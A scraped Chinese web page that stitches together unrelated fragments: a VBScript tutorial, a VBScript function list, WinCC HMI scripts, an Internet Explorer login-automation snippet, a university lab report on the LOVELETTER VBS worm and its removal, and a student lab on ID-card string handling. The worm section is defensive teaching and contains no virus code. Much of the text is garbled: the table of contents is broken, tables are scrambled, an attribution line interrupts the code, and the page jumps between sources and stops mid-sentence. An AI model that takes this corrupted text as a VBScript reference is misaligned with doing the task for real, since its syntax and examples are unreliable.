什么是_vb脚本
什么是_vb脚本
飞越网络VBScript教程
我想我要的很简单,一个是可以自动增加的
表格,另一个是初始页面的密码校验,后来
的
1、什么是
VBScript, .............................................................. (3)
1.1、易学易
用 ..................................................................... . (3)
1.2、ActiveX
Script ................................................................. .. (4)
1.3、其他应用程序和浏览器中的
VBScript ..............................................................
4
2、在 HTML 页面中添加 VBScript 代
码 ..................................................................... (4)
3、VBScript 数据类
型 ..................................................................... .. (6)
3.1、什么是 VBScript 数据类
型, .................................................................... . (6)
3.2、Variant 子类
型 ..................................................................... ...................................... 7 4、VBScript 变
量 ..................................................................... .. (8)
4.1、什么是变
量, .................................................................... .. (8)
4.2、声明变
量 ..................................................................... . (9)
4.3、命名规
则 ..................................................................... . (9)
4.4、变量的作用域与存活
期 ..................................................................... . (9)
4.5、给变量赋值...................................................................... (10)
4.6、标量变量和数组变
量 ..................................................................... (10)
5、VBScript 常
数 ..................................................................... (12)
5.1、什么是常
数, .................................................................... (12)
5.2、创建常
数 ..................................................................... ............................................... 12 6、VBScript 运算符...................................................................... . (12)
6.1、运算符优先
级 ..................................................................... ...................................... 12 7、使用条件语
句 ..................................................................... . (14)
7.1、控制程序执
行 ..................................................................... .. (14)
7.1.1、使用 If...Then...Else 进行判
断 (14)
7.1.2、使用 Select Case 进行判
断 ......................................................................
16
8、使用循环语
句 ..................................................................... . (17)
8.1、使用循环重复执行代
码 ..................................................................... .. (17)
8.1.1、使用 Do 循
环 ..................................................................... .. (18)
8.1.2、使用
While...Wend............................................................ (20)
8.1.3、使用
For...Next ............................................................. .. (20)
8.1.4、使用 For
Each...Next ............................................................ ....................... 22 9、VBScript 过
程 ..................................................................... (23)
9.1、过程分
类 ..................................................................... .. (23)
9.1.1、Sub 过
程 ..................................................................... .. (23)
9.1.2、Function 过
程 ..................................................................... .. (23)
9.1.3、过程的数据进
出 ..................................................................... . (24)
9.1.4、在代码中使用 Sub 和 Function 过
程 (25)
10、VBScript 编码约
定 ..................................................................... . (25)
10.1、什么是编码约
定, .................................................................... . (25)
10.2、常数命名约
定 ..................................................................... (26)
10.3、变量命名约
定 ..................................................................... (26)
10.4、变量作用
域 ..................................................................... . (27)
10.5、变量作用域前
缀 ..................................................................... . (27)
10.6、描述性变量名和过程名...................................................................... .. (27)
10.7、对象命名约
定 ..................................................................... (28)
10.8、代码注释约
定 ..................................................................... (29)
10.9、格式化代
码 ..................................................................... ........................................ 30 11、深入
VBScript ............................................................... .................................................... 31 12、VBScript 页面的简单样
例 ..................................................................... .. (31)
12.1、一个简单页
面 ..................................................................... (31)
12.2、向事件附加代码的其他方
法 ..................................................................... .. (33)
13、VBScript 与窗
体 ..................................................................... .. (33)
13.1、简单验
证 ..................................................................... (33)
13.2、使用数
字 ..................................................................... (35)
13.3、验证后将数据传递回服务
器 ..................................................................... .. (35)
14、在 VBScript 中使用对
象 ..................................................................... . (36)
14.1、使用对
象 ..................................................................... (36)
1、什么是 VBScript,
Microsoft Visual Basic Scripting Edition 是程序开发语言 Visual Basic 家族
的最新成员，它将灵活的 Script 应用于更广泛的领域，包括 Microsoft Internet
Explorer 中的 Web 客户机 Script 和 Microsoft Internet Information Server 中的
Web 服务器 Script。
1.1、易学易用
如果您已了解 Visual Basic 或 Visual Basic for Applications，就会很快熟悉
VBScript。即使您没有学过 Visual Basic，只要学会 VBScript，就能够使用所有
的 Visual Basic 语言进行程序设计。虽然您可以从本教程的几个 Web 页面中学
习 VBscript，但是本教程并没有告诉您如何编程。要学习编程，请阅读由Microsoft Press 出版的《Step by Step》。
1.2、ActiveX Script
VBScript 使用 ActiveX? Script 与宿主应用程序对话。使用 ActiveX Script，浏览器和其他宿主应用程序不再需要每个 Script 部件的特殊集成代码。ActiveX Script 使宿主可以编译 Script、获取和调用入口点及管理开发者可用的
命名空间。通过 ActiveX Script，语言厂商可以建立标准 Script 运行时语言。Microsoft 将提供 VBScript 的运行时支持。Microsoft 正在与多个 Internet 组一起定义 ActiveX Script 标准以使 Script 引擎可以互换。 ActiveX Script 可用在 Microsoft? Internet Explorer 和 Microsoft? Internet Information Server 中。 1.3、其他应用程序和浏览器中的 VBScript
作为开发者，您可以在您的产品中免费使用 VBScript 源实现程序。Microsoft 为 32 位 Windows? API、16 位 Windows API 和 Macintosh? 提供VBscript 的二进制实现程序。VBScript 与 World Wide Web 浏览器集成在一起。VBScript 和 ActiveX Script 也可以在其他应用程序中作为普通 Script 语言使用。
2、在 HTML 页面中添加 VBScript 代码
SCRIPT 元素用于将 VBScript 代码添加到 HTML 页面中。
代码的开始和结束部分都有
...
SCRIPT 块可以出现在 HTML 页面的任何地方(BODY 或 HEAD 部分之中)。然而最好将所有的一般目标 Script 代码放在 HEAD 部分中，以使所有 Script 代码集中放置。这样可以确保在 BODY 部分调用代码之前所有 Script 代码都被读取并解码。
上述规则的一个值得注意的例外情况是，在窗体中提供内部代码以响应窗体中对象的事件。例如，以下示例在窗体中嵌入 Script 代码以响应窗体中按钮的单击事件:
大多数 Script 代码在 Sub 或 Function 过程中，仅在其他代码要调用它时执行。然而，也可以将 VBScript 代码放在过程之外、SCRIPT 块之中。这类代码仅在 HTML 页面加载时执行一次。这样就可以在加载 Web 页面时初始化数据或动态地改变页面的外观。
3、VBScript 数据类型
3.1、什么是 VBScript 数据类型,
VBScript 只有一种数据类型，称为 Variant。Variant 是一种特殊的数据类型，根据使用的方式，它可以包含不同类别的信息。因为 Variant 是 VBScript 中唯一的数据类型，所以它也是 VBScript 中所有函数的返回值的数据类型。
最简单的 Variant 可以包含数字或字符串信息。Variant 用于数字上下文中时作为数字处理，用于字符串上下文中时作为字符串处理。这就是说，如果使用看
起来象是数字的数据，则 VBScript 会假定其为数字并以适用于数字的方式处理。与此类似，如果使用的数据只可能是字符串，则 VBScript 将按字符串处理。当然，也可以将数字包含在引号 (" ") 中使其成为字符串。 3.2、Variant 子类型除简单数字或字符串以外，Variant 可以进一步区分数值信息的特定含义。例如使用数值信息表示日期或时间。此类数据在与其他日期或时间数据一起使用时，结果也总是表示为日期或时间。当然，从 Boolean 值到浮点数，数值信息是多种多样的。Variant 包含的数值信息类型称为子类型。大多数情况下，可将所需的数据放进 Variant 中，而 Variant 也会按照最适用于其包含的数据的方式进行操作。
下表显示 Variant 包含的数据子类型:
子描述
类型
Em未初始化的 Variant。对于数值变量，值为 0;对于
pty 字符串变量，值为零长度字符串 ("")。
Null 不包含任何有效数据的 Variant。
Boo包含 True 或 False。
lean
Byt包含 0 到 255 之间的整数。
e
Inte包含 -32,768 到 32,767 之间的整数。
ger
Cur-922,337,203,685,477.5808 到
rency 922,337,203,685,477.5807。
Lon包含 -2,147,483,648 到 2,147,483,647 之间的整数。
g
Sin包含单精度浮点数，负数范围从 -3.402823E38 到
gle -1.401298E-45，正数范围从 1.401298E-45 到
3.402823E38。
Dou包含双精度浮点数，负数范围从
ble -1.79769313486232E308 到 -4.94065645841247E-324，正
数范围从 4.94065645841247E-324 到
1.79769313486232E308。
Dat包含表示日期的数字，日期范围从公元 100 年 1 月
e (Time) 1 日到公元 9999 年 12 月 31 日。
Stri包含变长字符串，最大长度可为 20 亿个字符。
ng
Obj包含对象。
ect
Err包含错误号。
or
您可以使用转换函数来转换数据的子类型。另外，可使用 VarType 函数返回数据的 Variant 子类型。
4、VBScript 变量
4.1、什么是变量,
变量是一种使用方便的占位符，用于引用计算机内存地址，该地址可以存储Script 运行时可更改的程序信息。例如，可以创建一个名为 ClickCount 的变量来存储用户单击 Web 页面上某个对象的次数。使用变量并不需要了解变量在计算机内存中的地址，只要通过变量名引用变量就可以查看或更改变量的值。在
VBScript 中只有一个基本数据类型，即 Variant，因此所有变量的数据类型都是Variant。
4.2、声明变量
声明变量的一种方式是使用 Dim 语句、Public 语句和 Private 语句在
Script 中显式声明变量。例如:
Dim DegreesFahrenheit
声明多个变量时，使用逗号分隔变量。例如:
Dim Top, Bottom, Left, Right
另一种方式是通过直接在 Script 中使用变量名这一简单方式隐式声明变量。这通常不是一个好习惯，因为这样有时会由于变量名被拼错而导致在运行 Script 时出现意外的结果。因此，最好使用 Option Explicit 语句显式声明所有变量，并将其作为 Script 的第一条语句。
4.3、命名规则
变量命名必须遵循 VBScript 的标准命名规则。变量命名必须遵循:
, 第一个字符必须是字母。
, 不能包含嵌入的句点。
, 长度不能超过 255 个字符。
, 在被声明的作用域内必须唯一。
4.4、变量的作用域与存活期
变量的作用域由声明它的位置决定。如果在过程中声明变量，则只有该过程中的代码可以访问或更改变量值，此时变量具有局部作用域并被称为过程级变量。如果在过程之外声明变量，则该变量可以被 Script 中所有过程所识别，称为 Script 级变量，具有 Script 级作用域。
变量存在的时间称为存活期。Script 级变量的存活期从被声明的一刻起，直到 Script 运行结束。对于过程级变量，其存活期仅是该过程运行的时间，该过程结束后，变量随之消失。在执行过程时，局部变量是理想的临时存储空间。可以在不同过程中使用同名的局部变量，这是因为每个局部变量只被声明它的过程识别。
4.5、给变量赋值
创建如下形式的表达式给变量赋值:变量在表达式左边，要赋的值在表达式右边。例如:
B = 200
4.6、标量变量和数组变量
多数情况下，只需为声明的变量赋一个值。只包含一个值的变量被称为标量变量。有时候，将多个相关值赋给一个变量更为方便，因此可以创建包含一系列值的变量，称为数组变量。数组变量和标量变量是以相同的方式声明的，唯一的区别是声明数组变量时变量名后面带有括号 ( )。下例声明了一个包含 11 个元素的一维数组:
Dim A(10)
虽然括号中显示的数字是 10，但由于在 VBScript 中所有数组都是基于 0 的，所以这个数组实际上包含 11 个元素。在基于 0 的数组中，数组元素的数目总是括号中显示的数目加 1。这种数组被称为固定大小的数组。
在数组中使用索引为数组的每个元素赋值。从 0 到 10，将数据赋给数组的元素，如下所示:
A(0) = 256
A(1) = 324
A(2) = 100
. . .
A(10) = 55
与此类似，使用索引可以检索到所需的数组元素的数据。例如:
. . .
SomeVariable = A(8)
. . .
数组并不仅限于一维。数组的维数最大可以为 60(尽管大多数人不能理解超过3 或 4 的维数)。声明多维数组时用逗号分隔括号中每个表示数组大小的数字。在下例中，MyTable 变量是一个有 6 行和 11 列的二维数组:
Dim MyTable(5, 10)
在二维数组中，括号中第一个数字表示行的数目，第二个数字表示列的数目。
也可以声明动态数组，即在运行 Script 时大小发生变化的数组。对数组的最初声明使用 Dim 语句或 ReDim 语句。但是对于动态数组，括号中不包含任何数字。例如:
Dim MyArray()
ReDim AnotherArray()
要使用动态数组，必须随后使用 ReDim 确定维数和每一维的大小。在下例中，ReDim 将动态数组的初始大小设置为 25，而后面的 ReDim 语句将数组的大小重新调整为 30，同时使用 Preserve 关键字在重新调整大小时保留数组的内容。
ReDim MyArray(25)
. . .
ReDim Preserve MyArray(30)
重新调整动态数组大小的次数是没有任何限制的，但是应注意:将数组的大小调小时，将会丢失被删除元素的数据。
5、VBScript 常数
5.1、什么是常数,
常数是具有一定含义的名称，用于代替数字或字符串，其值从不改变。
VBScript 定义了许多固有常数。详细信息，请参阅 VBScript 语言参考。 5.2、
创建常数
您可以使用 Const 语句在 VBScript 中创建用户自定义常数。使用 Const 语
句可以创建名称具有一定含义的字符串型或数值型常数，并给它们赋原义值。例如: Const MyString = "这是一个字符串。"
Const MyAge = 49
请注意字符串文字包含在两个引号 (" ") 之间。这是区分字符串型常数和数
值型常数的最明显的方法。日期文字和时间文字包含在两个井号 (#) 之间。例如: Const CutoffDate = #6-1-97#
最好采用一个命名方案以区分常数和变量。这样可以避免在运行 Script 时对
常数重新赋值。例如，可以使用“vb”或“con”作常数名的前缀，或将常数名的
所有字母大写。将常数和变量区分开可以在开发复杂的 Script 时避免混乱。 6、VBScript 运算符
VBScript 有一套完整的运算符，包括算术运算符、比较运算符、连接运算符
和逻辑运算符。
6.1、运算符优先级
当表达式包含多个运算符时，将按预定顺序计算每一部分，这个顺序被称为运
算符优先级。可以使用括号越过这种优先级顺序，强制首先计算表达式的某些部分。运算时，总是先执行括号中的运算符，然后再执行括号外的运算符。
但是，在括号中仍遵循标准运算符优先级。
当表达式包含多种运算符时，首先计算算术运算符，然后计算比较运算符，最后计算逻辑运算符。所有比较运算符的优先级相同，即按照从左到右的顺序计算比较运算符。算术运算符和逻辑运算符的优先级如下所示:
算术运算符比较运算符逻辑运算符
描述符描述符描述符
号号号
^ = N求幂等于逻辑
ot 非
- > nd 与 * < O乘小于逻辑 r 或 / > X除大于逻辑 or 异或 \ = qv 等价 M>I求余大于等于逻辑 od = mp 隐含 + I 加对象引用比 s 较 - 减 & 字符串 连接 当乘号与除号同时出现在一个表达式中时，按从左到右的顺序计算乘、除运算符。同样当加与减同时出现在一个表达式中时，按从左到右的顺序计算加、减运算符。 字符串连接 (&) 运算符不是算术运算符，但是在优先级顺序中，它排在所有算术运算符之后和所有比较运算符之前。Is 运算符是对象引用比较运算符。它并不比较对象或对象的值，而只是进行检查，判断两个对象引用是否引用同一个对象。 7、使用条件语句 7.1、控制程序执行 使用条件语句和循环语句可以控制 Script 的流程。使用条件语句可以编写进行判断和重复操作的 VBScript 代码。在 VBScript 中可使用以下条件语句: , If...Then...Else 语句 , Select Case 语句 7.1.1、使用 If...Then...Else 进行判断 If...Then...Else 语句用于计算条件是否为 True 或 False，并且根据计算结果指定要运行的语句。通常，条件是使用比较运算符对值或变量进行比较的表达式。有关比较运算符的详细信息，请参阅比较运算符。If...Then...Else 语句可以按照需要进行嵌套。 条件为 True 时运行语句 要在条件为 True 时运行单行语句，可使用 If...Then...Else 语句的单行语法。下例示范了单行语法。请注意此例省略了关键字 Else。 Sub FixDate() Dim myDate myDate = #2/13/95# If myDate < Now Then myDate = Now End Sub 要运行多行代码，必须使用多行(或块)语法。多行(或块)语法包含 End If 语句，如下所示: Sub AlertUser(value) If value = 0 Then AlertLabel.ForeColor = vbRed AlertLabel.Font.Bold = True AlertLabel.Font.Italic = True End If End Sub 条件为 True 和 False 时分别运行某些语句 可以使用 If...Then...Else 语句定义两个可执行语句块:条件为 True 时运行某一语句块，条件为 False 时运行另一语句块。 Sub AlertUser(value) If value = 0 Then AlertLabel.ForeColor = vbRed AlertLabel.Font.Bold = True AlertLabel.Font.Italic = True Else AlertLabel.Forecolor = vbBlack AlertLabel.Font.Bold = False AlertLabel.Font.Italic = False End If VB函数大全_基本函数大全 Abs 函数返回数的绝对值。 And 运算符执行两个表达式的逻辑连接。 Array 函数返回含一数组的变体。 Asc 函数返回字符串首字母的ANSI 字符代码。 赋值运算符(=) 给变量或属性赋值。 Atn 函数返回数的反正切值。 调用语句将控制移交Sub 或Function 过程。 CBool 函数返回已被转换为Boolean 子类型的变体的表达式。 CByte 函数返回已被转换为字节子类型的变体的表达式。 CCur 函数返回已被转换为货币子类型的变体的表达式。 CDate 函数返回已被转换为日期子类型的变体的表达式。 CDbl 函数返回已被转换为双精度子类型的变体的表达式。 Chr 函数返回指定ANSI 字符码的字符。 CInt 函数返回已被转换为整数子类型的变体的表达式。 Class 对象提供对已创建的类的事件的访问。 Class 语句声明类名 Clear 方法清除Err 对象的所有属性设置。 CLng 函数返回已被转换为Long 子类型的变体的表达式。 颜色常数颜色常数列表。 比较常数用于比较运算的常数列表。 连接运算符(&) 强制两个表达式的字符串连接。 Const 语句声明用于字母值的常数。 Cos 函数返回角度的余弦值。 CreateObject 函数创建并返回对“自动”对象的引用。 CSng 函数返回已被转换为单精度子类型的变体的表达式。 CStr 函数返回已被转换为字符串子类型的变体的表达式。 日期和时间常数在日期和时间运算中用来定义星期几和其他常数的常数列表。日期格式常数用于日期和时间格式的常数列表。 Date 函数返回当前系统日期。 DateAdd 函数返回加上了指定的时间间隔的日期。 DateDiff 函数返回两个日期之间的间隔。 DatePart 函数返回给定日期的指定部分。 DateSerial 函数返回指定年月日的日期子类型的变体。 DateValue 函数返回日期子类型的变体。 Day 函数返回日期，取值范围为1 至31。 Description 属性返回或者设置说明某个错误的字符串。 Dictionary 对象存储数据键、项目对的对象。 Dim 语句声明变量并分配存储空间。 除法运算符(/) 两数相除并以浮点数格式返回商。 Do...Loop 语句当条件为True 或者当条件变为True 时，重复一语句块。Empty 表示尚未初始化的变量值。 Eqv 运算符使两个表达式相等。 Erase 语句重新初始化固定数组的元素并重新分配动态数组的存储空间。 Err 对象含有关于运行时错误的信息。 Eval 函数计算并返回表达式的值。 Execute 方法根据指定的字符串，执行正则表达式的搜索。 Execute 语句执行单个或更多的指定语句。 Exit 语句退出Do...Loop、For...Next、Function 或Sub 代码块。 Exp 函数返回e （自然对数的底）的多少次方。 自乘运算符(^) 指数函数，幂为自变量。 False 关键字，其值为零。 一、导入到Xls文件并打印 Sub OnLButtonUp(ByVal Item, ByVal Flags, ByVal x, ByVal y) Dim a,fso a=HMIRuntime.Tags("fileName").Read Set fso = CreateObject("scripting.filesystemobject") If fso.FileExists("C:\Model.xls") Then Dim objExcelApp Set objExcelApp = CreateObject("Excel.Application") objExcelApp.Visible = False objExcelApp.Workbooks.Open "C:\Model.xls" objExcelApp.Cells(2, 3).Value = HMIRuntime.Tags("NewTag1_1").read objExcelApp.Cells(4, 5).Value = HMIRuntime.Tags("NewTag1_2").read objExcelApp.Cells(6, 7).Value = HMIRuntime.Tags("NewTag1_3").read objExcelApp.Cells(8, 9).Value = HMIRuntime.Tags("NewTag1_4").read objExcelApp.Cells(10, 11).Value = HMIRuntime.Tags("NewTag1_5").read objExcelApp.ActiveWorkbook.SaveAs("C:\Report\"&CStr(a)&".xls") objExcelApp.ActiveWorkbook.PrintOut 附录B.VBScript脚本函数简介 序号 内容 画面脚本全局脚本 页码 B01 运行数据库 33 3 B02 动态画面 337 B03 实时报表 337 B04 变量报警 337 B05 系统信息 339 B06 配方文件 339 B07 系统操作 3310 B08 当前时间 3311 B09 画面属性(1) 3°11 B10 线/矩形/圆形 3°13 B11 文本/变量 3°15 B12 多边形 3°16 B13 折线 3°19 B14 立体图形 3°20 B15 普通按钮 3°21 B16 圆形按钮 3°22 B17 三角按钮 3°23 B18 图标按钮 3°24 B19 定时器 3°25 B20 位图 3°25 B21 多选框 3°25 B22 单选框 3°26 B23 动画 3°26 B24 信息列表 3°26 B25 用户数据库 3327 B26 SQL命令 3329 B27 用户报表 3329 B28 流动管道 3°30 B29 子画面窗口 3°30 B30 转轮 3°31 B31 标签 3°31 B32 列表框 3°32 B33 数据库连接 3332 B34 配方操作按钮 3°32 B35 报表打印按钮 3°33 B36 报警状态按钮 3°33 B37 系统信息查询按钮 3°34 B38 报警信息查询按钮 3°34 B39 存档数据查询按钮 3°34 B40 存档曲线查询按钮 3°34 B41 用户管理 3334 B42 子窗口容器 3°35 B43 Gif图片 3°35 B44 实时曲线 3°35 B45 屏幕打印 3°36 B46 画面操作(2) 3°36 B47 行打印 3337 B48 INI文件 3338 B49 数据转换 3339 B50 数据库查询按钮 3°39 B51 串口操作 3340 B52 数据库列表 3°41 B53 报警状态列表 3°41 B54 表格控件 3°42 B55 保留 3°43 B56 数据选择 3°43 B57 选择框 3°44 B58 选择列表 °°44 B59 自定义菜单 3°44 B60 字符串 3°45 B61 时间间隔 3°46 B62 存储过程 3346 B63 曲线查询按钮 3°47 B64 窗口操作 3°48 B65 文件操作 3352 B66 文本文件 3353 B67 TCP通讯 3354 B68 UDP通讯 3355 B69 MSN信息 3°56 VBS脚本参考之一——使用连字符2007年06月14日星期四下午08:35前言 这一章的前半部分介绍了VB 脚本最基本的概念，并且告诉你它可以完成的工作，尤其是VBS和其它的如WMI、ADSI 接合在一起的时候。后半部分主要介绍了VBS对系统管理员更有用的部分。 许多脚本和程序语言在向文本输入的时候并不严格的遵守文本的行。例如，尽管下面这个JS 脚本写了很多行，但是，JS 把它当做一行来处理。这是因为，在大部分的时候，JS 只有看到中止符的时候才认为使一个行的中止。在这个例子中，中止符就是“；”。在实际中敲入的行是和脚本本身不相关的。 var 作者：临汾市外事旅游局薛靖澜，转载请注明出处] objWMI =new Enumerator (GetObject("winmgmts:") . InstancesOf("Win32_process")) ; 正好相反，同样的一段代码，用VB 写的时候就会报一个语法错误。 Set objWMI = (GetObject("winmgmts:") . InstancesOf("Win32_process")) 这是因为，VBS用回车键来代替特定的中止符。为了中止一个VB脚本，你不需要来敲入一个分号或者其它的特殊的符号，你只需要敲回车键就好了。一般来讲，不用中止符的限制，使VBS 在编写的过程中变的简单，但是也有一点会有些复杂。为了增强程序的可读性，建 议每行的最大长度不超过80个字符。那么当你的一行代码中有100 个字符，怎么办呢？尽管看来好象有个很简单的解决办法，但是你不能用回车键来将一行代码分隔成很多行。例如如下的代码片断会返回一个VB 运行错误因为它用回车键来分隔脚本 strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, strCurrentStatus Wscript.Echo strMessageToDisplay 你不能用回车建来换行，因为在VB 中它认为回车是代表一段代码的中止，在上面的代码中，它认为第一行是脚本的第一部分陈述内容。然后认为第二行是另外一部分陈述内容。这样因为strCurrentStatus 不是一个VBS的命令，所以就报错了。为了解决这个问题，VB 脚本用下划线来表示下面一行是上面一行的代替。在VB 的早期修订版本中，在第一行末尾加一个空格和一个下划线来表示第二行是第一行的继续。为更明确的表明这个意思，第二行前面要加四个空格。（这样作是为了可读，你其实不必在继续的行前作特定的标识──就是不用在第二行前加四个空格。）作者：临汾市外事旅游局薛靖澜，转载请注明出处] strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, _ strCurrentStatus Wscript.Echo strMessageToDisplay 当继续的行又引号的时候，它就显的特别复杂。例如，架设你用下划线和空格来分隔一个WMI脚本： Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM _ Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ") 如果你运行这个脚本，它会弹出一个错误，因为继续换行符放在了引号中间了，这样它就认为换行符是字符串的一部分。为了分隔这个陈述： 1：在第一行用引号中止，然后插入空格和下划线 2：用and(&)符号来开始下一行，这表示第二行是第一行字符串的继续 3：在下一行开始之前加入引号这些引号表示这些陈述是包涵在上面的一行中的，没有了引号，它就VB就解释Win32_Service 是VB 的陈述语句，因为这个语句不是合法的，所以就产生了错误。修正的版本如下： Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM " _ Vbs 操作wincc画面脚本总结 一：不使用变量单纯的操作界面 1.操作某个画面中控件的属性如Home1.Pdl（总窗体）下的画面窗口2（画面窗口） Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) objCircle.Radius = 60 Set screenname=HMIRuntime.Screens("Home1") //获取要操作的窗体 Set pwname=screenname.ScreenItems("画面窗口2") //获取要操作的控件，这里填入你要操作的控件名 MsgBox(objCircle.Radius) //输出圆的半径 MsgBox (pwname.Picturename) //输出当前画面窗口2的名字 End Sub 注意当调用某窗体下的某控件的某个属性时,需要声明两个对象，一个接纳这个控件，一个接纳值例如 Dim object Dim value Set object =HMIRuntime.Screens("Home1").ScreenItems("画面窗口2") Set value=object.picturename 2.更改画面窗口的对象 Sub OnClick(Byval Item) Dim opObject Set opObject=HMIRuntime.Screens ("Home1").ScreenItems("画面窗口2") opObject.PictureName="Page1.Pdl" End Sub 3.设置文本 Set titleTxt=HMIRuntime.Screens ("Home1").ScreenItems("静态文本2") titleTxt.Text =titleTxt.Text+"EF" //获取文本的值并追加字符 4.vb 字符串函数 VB的字符串截取函数有Left（字符串，n），返回字符串前N个字符；Mid（字符串，p，n），从第p个字符开始，向后截取N个字符；right（字符串，n），返回字符串的最后n个字符。 获取下标 在处理脚本中的字符串时应该注意什么？ set IE=createobject("Internetexplorer.application") IE.Visible = True IE.Navigate "https://https://www.wendangku.net/doc/9f4976266.html,/login.htm" ‘等待网页加载完成 While IE.busy Or IE.readystate<>4 Wend '从网页元素中找到设置的元素，并赋值 '因为form没有name或id，只能从document的collection里取forms集合 '再从中定位输入框和提交按钮 IE.Document.Forms(0).elements("name").value = "aaaa" IE.Document.Forms(0).elements("passwd").value = "1111" IE.Document.Forms(0).elements("Send").click '登录后界面是框架结构，先等主框架加载完成 While IE.busy Or IE.readystate<>4 Wend '等框架内网页1加载完成 While IE.busy Or IE.Document.Frames(1).document.readystate<>"complete" Wend '点击一个图片按钮/链接，需要先定位到框架内，再从document的collection里取images集合IE.Document.Frames(1).document.images(3).click '等主框架加载完成 While IE.busy Or IE.readystate<>4 Wend '等框架内网页2加载完成 While IE.busy Or IE.Document.Frames(2).document.readystate<>"complete" Wend '定位select控件，并作出选择 XI`AN TECHNOLOGICAL UNIVERSITY 实验报告 实验目的 1.了解VB脚本病毒的工作原理 2.了解VB脚本病毒常见的感染目标和感染方式 3.掌握编写VB脚本病毒专杀工具的一般方法 实验原理 一．脚本病毒概述 脚本程序的执行环境需要WSH（WINDOWS SCRIPT HOST，WINDOWS脚本宿主）环境，WSH为宿主脚本创建环境。即当脚本到达计算机时，WSH充当主机的部分，它使对象和服务可用于脚本，并提供一系列脚本执行指南。 脚本病毒的主要特点： （1）由于脚本是直接解释执行，可以直接通过自我复制的方式感染其它同类文件，并且使异常处理变得非常容易。 （2）脚本病毒通过HTML文档、EMAIL附件或其它方式，可以在很短的时间内传遍世界各地，通常是使用在邮件附件中安置病毒本体的方法，然后利用人们的好奇心，通过邮件主题或邮件内容诱骗人们点击附件中的病毒体而被感染。 （3）新型的邮件病毒邮件正文即为病毒，用户接收到带毒邮件后，即使不将邮件打开，只要将鼠标指向邮件，通过预览功能病毒也会被自动激活。 （4）病毒源码容易被获取，变种多。 （5）欺骗性强。 二．爱虫病毒分析 1．病毒简介 “爱虫”（VBS.LOVELETTER）病毒从2000年5月4日开始在欧洲大陆迅速传播，并向全世界蔓延。其传播原理是通过MICROSOFT OUTLOOK将名为“LOVE-LETTER-FOR-YOU.TXT.VBS”的邮件发送给用户地址薄里所有的地址。 当病毒运行后会在系统中留下以下文件： （1）\WINDOWS\WIN32DLL.VBS； （2）\SYSTEM\MSKERNEL.VBS； （3）\SYSTEM\LOVE-LETTER_FOR_YOU.TXT.VBS。 2．病毒的杀毒步骤 （1）在WINDOWS下查看进程列表中是否有WSCRIPT这个文件，如有此文件说明已经感染。将该文件“结束任务”。 （2）进入C:\WINDOWS\SYSTEM中，运行MSCONFIG.EXE选择“启动”模板，将所有的后缀为“*.VBS”的文件选择为禁用状态。 （3）在保证内存中无WSCRIPT这个文件后，重启计算机。 （4）查找一个叫WIN-BUGFIX.EXE的文件并删除它，如果安装了MIRC则删除SCRIPT.INI文件，删除含LOVE-LETTER-FOR-YOU.TXT附件的EMAIL。 （5）打开注册表编辑器并删除下列键值： 3．病毒各模块功能介绍 爱虫病毒的结构化做得很好，各个模块功能非常独立，彼此并不相互依赖，流程也非常清楚，下面对每个函数过程的功能作一简单介绍。 （1）MAIN 爱虫病毒的主模块，它集成调用其它各个模块。 WinCC上可以很方便的编写VB脚本和C脚本，但是调试起来还是比较费劲的。下面介绍一下个人的应用体会。 1，VB，最好安装VB6，先在VB6里面编写程序，然后再放到WinCC的脚本中，事半功倍，毕竟VB的调试非常方便。 a，插入引用 注意选择OLE Automation 和WinCC *****； b，可以直接在VB里面调用WinCC的全部变量，内部，外部全可以： 如下： c，在VB里面监视WinCC的变量： d，调试完毕，程序拷贝到WinCC的脚本中。 2，C语言 系统提供了一个应用程序窗口，如下，只要把他拖到画面窗口即可： 2，使用Printf函数，把需要调试的内容打印出来； 3，效果如下： 希望对大家有点用处。 下面内容来自网络，感谢原文作者。 https://www.wendangku.net/doc/9f4976266.html,/link?url=vEykUwJBHY3kamu6EGqrO8WX1XVc6_IMz Rfnfkcwe5JpmjmPLUHmsod1xIDeQUpd1MJgUMD9IlS8bcIsH6GWpHwjuq76 wAjG6NjSkndSrQK Vbs操作wincc画面脚本总结 一：不使用变量单纯的操作界面 1.操作某个画面中控件的属性如Home1.Pdl（总窗体）下的画面窗口2（画面窗口） Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) objCircle.Radius = 60 Set screenname=HMIRuntime.Screens("Home1") //获取要操作的窗体 Set pwname=screenname.ScreenItems("画面窗口2") //获取要操作的控件，这里填入你要操作的控件名 MsgBox(objCircle.Radius) //输出圆的半径 动态网页制作vb脚本字符串的处理 运城学院实验报告 课程名称：动态网页制作实验项目：用VBScript 实现对字符串的处理实验地点：软三实验室时间：2011-4-21 指导老师：王琦学号：2009100145 实验类型：综合型一、实验目的及要求 1.目的：（1）熟练掌握和应用VBScript 脚本语言的基础知识。（2）VBScript 的基本数据类型、运算符和表达式。（3）熟练掌握VBScript 流程控制语句、函数和子函数。（4）熟练掌握 VBScript 对象和事件的处理方法以及对一些实际问题的解决。（5）学习VBScript 中调试和纠错的方法。 2.要求：（1）用数组实现对身份证信息的存储（2）用VBScript 脚本语言实现程序设计和运行。二、实验内容用VBScript 脚本语言实现身份证查询系统（1）应用VBScript 的Sub 过程函数（无返回值）。例如： sub btnOK_onClick() …… End sub （2）应用字符串函数实现MID 和LEN 实现对字符串的截取和长度的计算。例如：Mid(“运城学院”，1,2)=”运城”；Len(“你好！”)=3；（3）应用数据类型判别函数IsNumeric 判断是否字符串全为数字。例如：else if not IsNumeric(form1.txtId.value) Then document.form1.elements(0).focus() MsgBox"身份证号码中不能有字母！" Exit sub （4）应用trim()函数判断身份证的输入中是否为空。例如： if Trim(form1.txtId.value)=Empty Then document.form1.elements(0).focus() MsgBox"身份证号不能为空！" Exit sub （5）应用数组实现信息的存储。例如：运城学院实验报告（续） dim sfzBM(3) dim sfzGSD(3) sfzBM(0)="142732" sfzGSD(0)="山西省运城地区平陆县" ...... （5）document 对象的应用。例如：IdCard=document.getelementbyid("txtId").value （6）for 循环的使用 for i=0 to ubound(sfzBM) if sfzBM(i)=mid(IdCard,1,6) then msg="归属地：" & sfzGSD(i) & " " （7）应用DreamWeaver 制作表单及系统的制作。（8）应用VBScript 